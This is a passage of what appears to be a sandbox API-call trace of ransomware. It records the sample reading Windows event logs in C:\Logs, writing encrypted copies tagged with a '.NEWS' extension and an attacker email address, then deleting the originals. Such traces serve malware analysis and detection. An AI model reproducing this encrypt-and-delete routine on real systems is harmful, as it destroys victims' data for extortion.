[0080.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.069] lstrlenW (lpString=".zip") returned 4 [0080.069] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString=".rar") returned 4 [0080.069] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString=".bz2") returned 4 [0080.069] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString=".7z") returned 3 [0080.069] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.069] lstrlenW (lpString=".dbf") returned 4 [0080.069] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.069] lstrlenW (lpString=".1cd") returned 4 [0080.069] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.069] lstrlenW (lpString=".jpg") returned 4 [0080.069] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.070] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.070] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0080.070] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.070] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0080.070] CloseHandle (hObject=0x344) returned 1 [0080.071] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0080.071] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.071] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.071] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.071] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.071] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.071] GetLastError () returned 0x0 [0080.071] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.074] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.076] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.076] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x126, lpOverlapped=0x0) returned 1 [0080.076] SetEndOfFile (hFile=0x384) returned 1 [0080.076] CloseHandle (hObject=0x384) returned 1 [0080.078] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.078] SetEndOfFile (hFile=0x344) returned 1 [0080.079] CloseHandle (hObject=0x344) returned 1 [0080.079] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.080] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0080.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.081] lstrlenW (lpString=".doc") returned 4 [0080.081] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.081] lstrlenW (lpString=".docx") returned 5 [0080.081] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.081] lstrlenW (lpString=".pdf") returned 4 [0080.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.081] lstrlenW (lpString=".xls") returned 4 [0080.081] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.081] lstrlenW (lpString=".xlsx") returned 5 [0080.082] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.082] lstrlenW (lpString=".ppt") returned 4 [0080.082] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.082] lstrlenW (lpString=".zip") returned 4 [0080.082] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString=".rar") returned 4 [0080.082] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString=".bz2") returned 4 [0080.082] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString=".7z") returned 3 [0080.082] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.082] lstrlenW (lpString=".dbf") returned 4 [0080.082] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.082] lstrlenW (lpString=".1cd") returned 4 [0080.082] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.082] lstrlenW (lpString=".jpg") returned 4 [0080.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.082] lstrlenW (lpString=".doc") returned 4 [0080.082] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString=".docx") returned 5 [0080.082] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.082] lstrlenW (lpString=".pdf") returned 4 [0080.082] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString=".xls") returned 4 [0080.082] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.082] lstrlenW (lpString=".xlsx") returned 5 [0080.082] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.082] lstrlenW (lpString=".ppt") returned 4 [0080.083] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.083] lstrlenW (lpString=".zip") returned 4 [0080.083] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.083] lstrlenW (lpString=".rar") returned 4 [0080.083] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.083] lstrlenW (lpString=".bz2") returned 4 [0080.083] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.083] lstrlenW (lpString=".7z") returned 3 [0080.083] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.083] lstrlenW (lpString=".dbf") returned 4 [0080.083] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.083] lstrlenW (lpString=".1cd") returned 4 [0080.083] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.083] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0080.083] lstrlenW (lpString=".jpg") returned 4 [0080.083] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.083] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.083] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0080.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.083] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0080.084] CloseHandle (hObject=0x344) returned 1 [0080.084] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0080.084] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.084] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.084] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.084] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.084] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.085] GetLastError () returned 0x0 [0080.085] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.088] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.090] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.090] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x136, lpOverlapped=0x0) returned 1 [0080.090] SetEndOfFile (hFile=0x384) returned 1 [0080.090] CloseHandle (hObject=0x384) returned 1 [0080.093] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.093] SetEndOfFile (hFile=0x344) returned 1 [0080.094] CloseHandle (hObject=0x344) returned 1 [0080.094] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.094] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0080.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.095] lstrlenW (lpString=".doc") returned 4 [0080.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString=".docx") returned 5 [0080.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.095] lstrlenW (lpString=".pdf") returned 4 [0080.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString=".xls") returned 4 [0080.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString=".xlsx") returned 5 [0080.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.095] lstrlenW (lpString=".ppt") returned 4 [0080.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.095] lstrlenW (lpString=".zip") returned 4 [0080.095] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString=".rar") returned 4 [0080.095] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString=".bz2") returned 4 [0080.095] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString=".7z") returned 3 [0080.095] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.095] lstrlenW (lpString=".dbf") returned 4 [0080.095] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.095] lstrlenW (lpString=".1cd") returned 4 [0080.095] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.095] lstrlenW (lpString=".jpg") returned 4 [0080.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.096] lstrlenW (lpString=".doc") returned 4 [0080.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString=".docx") returned 5 [0080.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.096] lstrlenW (lpString=".pdf") returned 4 [0080.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString=".xls") returned 4 [0080.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString=".xlsx") returned 5 [0080.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.096] lstrlenW (lpString=".ppt") returned 4 [0080.096] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.096] lstrlenW (lpString=".zip") returned 4 [0080.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString=".rar") returned 4 [0080.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString=".bz2") returned 4 [0080.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString=".7z") returned 3 [0080.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.096] lstrlenW (lpString=".dbf") returned 4 [0080.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.096] lstrlenW (lpString=".1cd") returned 4 [0080.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0080.096] lstrlenW (lpString=".jpg") returned 4 [0080.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.097] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.097] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0080.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.097] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0080.097] CloseHandle (hObject=0x344) returned 1 [0080.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0080.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0080.097] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.097] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.098] GetLastError () returned 0x0 [0080.098] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.500] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.502] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.502] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x158, lpOverlapped=0x0) returned 1 [0080.503] SetEndOfFile (hFile=0x384) returned 1 [0080.503] CloseHandle (hObject=0x384) returned 1 [0080.506] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.506] SetEndOfFile (hFile=0x344) returned 1 [0080.508] CloseHandle (hObject=0x344) returned 1 [0080.508] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.508] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0080.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.508] lstrlenW (lpString=".doc") returned 4 [0080.509] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString=".docx") returned 5 [0080.509] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.509] lstrlenW (lpString=".pdf") returned 4 [0080.509] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString=".xls") returned 4 [0080.509] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString=".xlsx") returned 5 [0080.509] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.509] lstrlenW (lpString=".ppt") returned 4 [0080.509] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.509] lstrlenW (lpString=".zip") returned 4 [0080.509] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString=".rar") returned 4 [0080.509] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString=".bz2") returned 4 [0080.509] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString=".7z") returned 3 [0080.509] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.509] lstrlenW (lpString=".dbf") returned 4 [0080.509] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.509] lstrlenW (lpString=".1cd") returned 4 [0080.509] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.510] lstrlenW (lpString=".jpg") returned 4 [0080.510] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.510] lstrlenW (lpString=".doc") returned 4 [0080.510] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString=".docx") returned 5 [0080.510] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.510] lstrlenW (lpString=".pdf") returned 4 [0080.510] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString=".xls") returned 4 [0080.510] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString=".xlsx") returned 5 [0080.510] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.510] lstrlenW (lpString=".ppt") returned 4 [0080.510] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.510] lstrlenW (lpString=".zip") returned 4 [0080.510] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString=".rar") returned 4 [0080.510] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString=".bz2") returned 4 [0080.510] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.510] lstrlenW (lpString=".7z") returned 3 [0080.510] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.510] lstrlenW (lpString=".dbf") returned 4 [0080.511] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.511] lstrlenW (lpString=".1cd") returned 4 [0080.511] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0080.511] lstrlenW (lpString=".jpg") returned 4 [0080.511] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.511] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.511] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0080.511] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 